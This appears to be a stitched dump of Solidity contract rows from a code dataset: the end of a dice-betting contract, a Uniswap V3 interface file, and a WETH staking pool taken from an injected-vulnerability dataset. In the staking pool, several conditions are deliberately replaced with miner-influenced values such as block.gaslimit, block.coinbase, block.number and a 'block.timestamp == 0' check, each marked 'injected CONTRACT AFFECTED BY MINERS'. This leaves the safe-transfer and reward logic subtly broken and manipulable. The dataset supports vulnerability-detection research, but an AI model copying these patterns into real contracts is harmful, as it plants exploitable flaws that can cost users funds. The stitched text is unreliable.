// Only bets that are in progress can be canceled
require(bets[_betIndex].status == BetStatus.IN_PROGRESS);
// Store the fact that the bet has been canceled
bets[_betIndex].status = BetStatus.CANCELED;
// Refund the bet amount to the gambler
stakeTokenContract.transfer(bets[_betIndex].gambler, bets[_betIndex].betAmount);
// Trigger BetCanceled event
emit BetCanceled(bets[_betIndex].gambler, _betIndex);
// Subtract the bet from their total
playersToTotalBets[bets[_betIndex].gambler] -= bets[_betIndex].betAmount;
}
function amountOfGames() external view returns (uint256)
{
return allGames.length;
}
function amountOfBets() external view returns (uint256)
{
return bets.length-1;
}
///////////////////////////////
/////// OWNER FUNCTIONS
address public owner;
// Constructor function
constructor(StakeToken _stakeTokenContract, uint256 _houseEdge, uint256 _minimumBet) public
{
// Bet indices start at 1 because the values of the
// oraclizeQueryIdsToBetIndices mapping are by default 0.
bets.length = 1;
// Whoever deployed the contract is made owner
owner = msg.sender;
// Ensure that the arguments are sane
require(_houseEdge < 10000);
require(_stakeTokenContract != address(0x0));
// Store the initializing arguments
stakeTokenContract = _stakeTokenContract;
houseEdge = _houseEdge;
minimumBet = _minimumBet;
}
// Allow the owner to easily create the default dice games
function createDefaultGames() public
{
require(allGames.length == 0);
addNewStakeDiceGame(500); // 5% chance
addNewStakeDiceGame(1000); // 10% chance
addNewStakeDiceGame(1500); // 15% chance
addNewStakeDiceGame(2000); // 20% chance
addNewStakeDiceGame(2500); // 25% chance
addNewStakeDiceGame(3000); // 30% chance
addNewStakeDiceGame(3500); // 35% chance
addNewStakeDiceGame(4000); // 40% chance
addNewStakeDiceGame(4500); // 45% chance
addNewStakeDiceGame(5000); // 50% chance
addNewStakeDiceGame(5500); // 55% chance
addNewStakeDiceGame(6000); // 60% chance
addNewStakeDiceGame(6500); // 65% chance
addNewStakeDiceGame(7000); // 70% chance
addNewStakeDiceGame(7500); // 75% chance
addNewStakeDiceGame(8000); // 80% chance
addNewStakeDiceGame(8500); // 85% chance
addNewStakeDiceGame(9000); // 90% chance
addNewStakeDiceGame(9500); // 95% chance
}
// Allow the owner to cancel a bet when it's in progress.
// This will probably never be needed, but it might some day be needed
// to refund people if oraclize is not responding.
function cancelBet(uint256 _betIndex) public
{
require(msg.sender == owner);
_cancelBet(_betIndex);
}
// Allow the owner to add new games with different winning chances
function addNewStakeDiceGame(uint256 _winningChance) public
{
require(msg.sender == owner);
// Deploy a new StakeDiceGame contract
StakeDiceGame newGame = new StakeDiceGame(this, _winningChance);
// Store the fact that this new address is a StakeDiceGame contract
addressIsStakeDiceGameContract[newGame] = true;
allGames.push(newGame);
}
// Allow the owner to change the house edge
function setHouseEdge(uint256 _newHouseEdge) external
{
require(msg.sender == owner);
require(_newHouseEdge < 10000);
houseEdge = _newHouseEdge;
}
// Allow the owner to change the minimum bet
// This also allows the owner to temporarily disable the game by setting the
// minimum bet to an impossibly high number.
function setMinimumBet(uint256 _newMinimumBet) external
{
require(msg.sender == owner);
minimumBet = _newMinimumBet;
}
// Allow the owner to deposit and withdraw ether
// (this contract needs to pay oraclize fees)
function depositEther() payable external
{
require(msg.sender == owner);
}
function withdrawEther(uint256 _amount) payable external
{
require(msg.sender == owner);
owner.transfer(_amount);
}
// Allow the owner to make another address the owner
function transferOwnership(address _newOwner) external
{
require(msg.sender == owner);
require(_newOwner != 0x0);
owner = _newOwner;
}
// Allow the owner to withdraw STAKE tokens
function withdrawStakeTokens(uint256 _amount) external
{
require(msg.sender == owner);
stakeTokenContract.transfer(owner, _amount);
}
// Prevent people from losing Ether by accidentally sending it to this contract.
function () payable external
{
revert();
}
}
| 202,486 | 12,497 |
5330472771db03c8f2dbb48a5e78bc48f8f89fca148e2c2caa520ae7f7d5d460
| 16,487 |
.sol
|
Solidity
| false |
314534671
|
Instadapp/dsa-connectors
|
9a764a517c2fd4a02bd3cd5554337790351df1da
|
contracts/mainnet/connectors/uniswap/v3/interface.sol
| 3,377 | 14,067 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol";
/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(int256 amount0Delta,
int256 amount1Delta,
bytes calldata data) external;
}
interface ISwapRouter is IUniswapV3SwapCallback {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params)
external
payable
returns (uint256 amountOut);
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params)
external
payable
returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params)
external
payable
returns (uint256 amountIn);
struct ExactOutputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
}
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params)
external
payable
returns (uint256 amountIn);
}
/// @title Creates and initializes V3 Pools
/// require the pool to exist.
interface IPoolInitializer {
/// @notice Creates a new pool if it does not exist, then initializes if not initialized
/// @param token0 The contract address of token0 of the pool
/// @param token1 The contract address of token1 of the pool
/// @param fee The fee amount of the v3 pool for the specified token pair
/// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value
function createAndInitializePoolIfNecessary(address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96) external payable returns (address pool);
}
/// @title Immutable state
/// @notice Functions that return immutable state of the router
interface IPeripheryImmutableState {
/// @return Returns the address of the Uniswap V3 factory
function factory() external view returns (address);
/// @return Returns the address of WETH9
function WETH9() external view returns (address);
}
/// @title Periphery Payments
/// @notice Functions to ease deposits and withdrawals of ETH
interface IPeripheryPayments {
/// @notice Unwraps the contract's WETH9 balance and sends it to recipient as ETH.
/// @dev The amountMinimum parameter prevents malicious contracts from stealing WETH9 from users.
/// @param amountMinimum The minimum amount of WETH9 to unwrap
/// @param recipient The address receiving ETH
function unwrapWETH9(uint256 amountMinimum, address recipient)
external
payable;
/// @notice Refunds any ETH balance held by this contract to the `msg.sender`
/// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps
/// that use ether for the input amount
function refundETH() external payable;
/// @notice Transfers the full amount of a token held by this contract to recipient
/// @dev The amountMinimum parameter prevents malicious contracts from stealing the token from users
/// @param token The contract address of the token which will be transferred to `recipient`
/// @param amountMinimum The minimum amount of token required for a transfer
/// @param recipient The destination address of the token
function sweepToken(address token,
uint256 amountMinimum,
address recipient) external payable;
}
/// @title ERC721 with permit
/// @notice Extension to ERC721 that includes a permit function for signature based approvals
interface IERC721Permit is IERC721 {
/// @notice The permit typehash used in the permit signature
/// @return The typehash for the permit
function PERMIT_TYPEHASH() external pure returns (bytes32);
/// @notice The domain separator used in the permit signature
/// @return The domain seperator used in encoding of permit signature
function DOMAIN_SEPARATOR() external view returns (bytes32);
/// @notice Approve of a specific token ID for spending by spender via signature
/// @param spender The account that is being approved
/// @param tokenId The ID of the token that is being approved for spending
/// @param deadline The deadline timestamp by which the call must be mined for the approve to work
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function permit(address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external payable;
}
/// @title Non-fungible token for positions
/// and authorized.
interface INonfungiblePositionManager is
IPoolInitializer,
IPeripheryPayments,
IPeripheryImmutableState,
IERC721Metadata,
IERC721Enumerable,
IERC721Permit
{
/// @notice Emitted when liquidity is increased for a position NFT
/// @dev Also emitted when a token is minted
/// @param tokenId The ID of the token for which liquidity was increased
/// @param liquidity The amount by which liquidity for the NFT position was increased
/// @param amount0 The amount of token0 that was paid for the increase in liquidity
/// @param amount1 The amount of token1 that was paid for the increase in liquidity
event IncreaseLiquidity(uint256 indexed tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1);
/// @notice Emitted when liquidity is decreased for a position NFT
/// @param tokenId The ID of the token for which liquidity was decreased
/// @param liquidity The amount by which liquidity for the NFT position was decreased
/// @param amount0 The amount of token0 that was accounted for the decrease in liquidity
/// @param amount1 The amount of token1 that was accounted for the decrease in liquidity
event DecreaseLiquidity(uint256 indexed tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1);
/// @notice Emitted when tokens are collected for a position NFT
/// @param tokenId The ID of the token for which underlying tokens were collected
/// @param recipient The address of the account that received the collected tokens
/// @param amount0 The amount of token0 owed to the position that was collected
/// @param amount1 The amount of token1 owed to the position that was collected
event Collect(uint256 indexed tokenId,
address recipient,
uint256 amount0,
uint256 amount1);
/// @notice Returns the position information associated with a given token ID.
/// @dev Throws if the token ID is not valid.
/// @param tokenId The ID of the token that represents the position
/// @return nonce The nonce for permits
/// @return operator The address that is approved for spending
/// @return token0 The address of the token0 for a specific pool
/// @return token1 The address of the token1 for a specific pool
/// @return fee The fee associated with the pool
/// @return tickLower The lower end of the tick range for the position
/// @return tickUpper The higher end of the tick range for the position
/// @return liquidity The liquidity of the position
function positions(uint256 tokenId)
external
view
returns (uint96 nonce,
address operator,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1);
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
/// @notice Creates a new position wrapped in a NFT
/// a method does not exist, i.e. the pool is assumed to be initialized.
/// @param params The params necessary to mint a position, encoded as `MintParams` in calldata
/// @return tokenId The ID of the token that represents the minted position
/// @return liquidity The amount of liquidity for this position
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function mint(MintParams calldata params)
external
payable
returns (uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1);
struct IncreaseLiquidityParams {
uint256 tokenId;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender`
/// @param params tokenId The ID of the token for which liquidity is being increased,
/// amount0Desired The desired amount of token0 to be spent,
/// amount1Desired The desired amount of token1 to be spent,
/// amount0Min The minimum amount of token0 to spend, which serves as a slippage check,
/// amount1Min The minimum amount of token1 to spend, which serves as a slippage check,
/// deadline The time by which the transaction must be included to effect the change
/// @return liquidity The new liquidity amount as a result of the increase
/// @return amount0 The amount of token0 to acheive resulting liquidity
/// @return amount1 The amount of token1 to acheive resulting liquidity
function increaseLiquidity(IncreaseLiquidityParams calldata params)
external
payable
returns (uint128 liquidity,
uint256 amount0,
uint256 amount1);
struct DecreaseLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Decreases the amount of liquidity in a position and accounts it to the position
/// @param params tokenId The ID of the token for which liquidity is being decreased,
/// amount The amount by which liquidity will be decreased,
/// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity,
/// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity,
/// deadline The time by which the transaction must be included to effect the change
/// @return amount0 The amount of token0 accounted to the position's tokens owed
/// @return amount1 The amount of token1 accounted to the position's tokens owed
function decreaseLiquidity(DecreaseLiquidityParams calldata params)
external
payable
returns (uint256 amount0, uint256 amount1);
struct CollectParams {
uint256 tokenId;
address recipient;
uint128 amount0Max;
uint128 amount1Max;
}
/// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient
/// @param params tokenId The ID of the NFT for which tokens are being collected,
/// recipient The account that should receive the tokens,
/// amount0Max The maximum amount of token0 to collect,
/// amount1Max The maximum amount of token1 to collect
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(CollectParams calldata params)
external
payable
returns (uint256 amount0, uint256 amount1);
/// must be collected first.
/// @param tokenId The ID of the token that is being burned
function burn(uint256 tokenId) external payable;
}
| 226,128 | 12,498 |
42a475686ba13b191d593c1cf52babb2e2710ef34d5cb577685ce725b5946772
| 25,707 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x00022837E66Fdd4bbFe63859d7dc12651738D329_affectedByMiners.sol
| 4,081 | 15,020 |
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity 0.5.16;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (block.gaslimit > 0) { // Return data is optional //injected CONTRACT AFFECTED BY MINERS
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
contract HDTTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
//WETH
IERC20 public stakeToken = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakeToken.safeTransfer(msg.sender, amount);
}
}
contract HDTWETHPool is HDTTokenWrapper, IRewardDistributionRecipient {
IERC20 public hdt = IERC20(0x1cc945Be7d0D2C852d0096A8b5714b44eD21D5D3);
uint256 public constant DURATION = 7 days;
uint256 public constant startTime = 1600862400; //utc+8 2020-09-23 20:00:00
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
bool private open = true;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards; // Unclaimed rewards
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event SetOpen(bool _open);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (block.coinbase != address(0)) { //injected CONTRACT AFFECTED BY MINERS
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (block.timestamp == 0) { //injected CONTRACT AFFECTED BY MINERS
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public checkOpen checkStart updateReward(msg.sender){
require(amount > 0, "HDT-WETH-POOL: Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public checkStart updateReward(msg.sender) {
require(amount > 0, "HDT-WETH-POOL: Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public checkStart updateReward(msg.sender){
uint256 reward = earned(msg.sender);
if (block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS
rewards[msg.sender] = 0;
hdt.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
modifier checkStart(){
require(block.timestamp > startTime,"HDT-WETH-POOL: Not start");
_;
}
modifier checkOpen() {
require(open, "HDT-WETH-POOL: Pool is closed");
_;
}
function getPeriodFinish() public view returns (uint256) {
return periodFinish;
}
function isOpen() public view returns (bool) {
return open;
}
function setOpen(bool _open) external onlyOwner {
open = _open;
emit SetOpen(_open);
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
checkOpen
updateReward(address(0)){
if (block.number > startTime){ //injected CONTRACT AFFECTED BY MINERS
if (block.number >= periodFinish) { //injected CONTRACT AFFECTED BY MINERS
uint256 period = block.timestamp.sub(startTime).div(DURATION).add(1);
periodFinish = startTime.add(period.mul(DURATION));
rewardRate = reward.div(periodFinish.sub(block.timestamp));
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(remaining);
}
lastUpdateTime = block.timestamp;
hdt.mint(address(this),reward);
emit RewardAdded(reward);
}else {
rewardRate = reward.div(DURATION);
periodFinish = startTime.add(DURATION);
lastUpdateTime = startTime;
hdt.mint(address(this),reward);
emit RewardAdded(reward);
}
// avoid overflow to lock assets
_checkRewardRate();
}
function _checkRewardRate() internal view returns (uint256) {
return DURATION.mul(rewardRate).mul(1e18);
}
}
| 280,735 | 12,499 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.